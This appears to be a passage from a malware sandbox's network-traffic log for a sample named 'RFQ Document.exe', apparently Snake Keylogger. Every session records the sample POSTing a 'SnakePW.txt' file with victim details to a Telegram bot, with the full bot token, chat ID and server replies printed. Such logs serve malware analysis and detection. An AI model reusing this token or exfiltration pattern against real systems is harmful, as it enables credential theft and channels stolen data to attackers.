2021-09-28 06:00:06 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 35 30 62 37 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc50b76fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	536	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12922,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.4	50176	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:06 UTC	536	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc6d5398 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:06 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 36 64 35 33 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc6d5398Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	537	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12923,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49810	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:27 UTC	54	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c5f64e24 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:27 UTC	54	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 66 36 34 65 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c5f64e24Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:27 UTC	54	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:27 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:27 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12615,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808707,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.4	50177	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:07 UTC	538	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc852b9a Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:07 UTC	538	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 38 35 32 62 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc852b9aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:07 UTC	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:07 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12924,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808807,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.4	50178	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:07 UTC	540	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fca1c74e Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:07 UTC	540	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 61 31 63 37 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fca1c74eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:07 UTC	540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:07 GMT Content-Type: application/json Content-Length: 519 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:07 UTC	541	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12925,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808807,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.4	50179	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:07 UTC	541	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fcbe6377 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:07 UTC	542	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 62 65 36 33 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fcbe6377Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:07 UTC	542	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:07 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12926,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808807,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.4	50180	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:07 UTC	543	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fcdb0035 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:07 UTC	543	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 64 62 30 30 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fcdb0035Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:07 UTC	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:07 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12927,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808807,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.4	50181	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:07 UTC	544	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fd012540 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:07 UTC	545	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 30 31 32 35 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fd012540Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
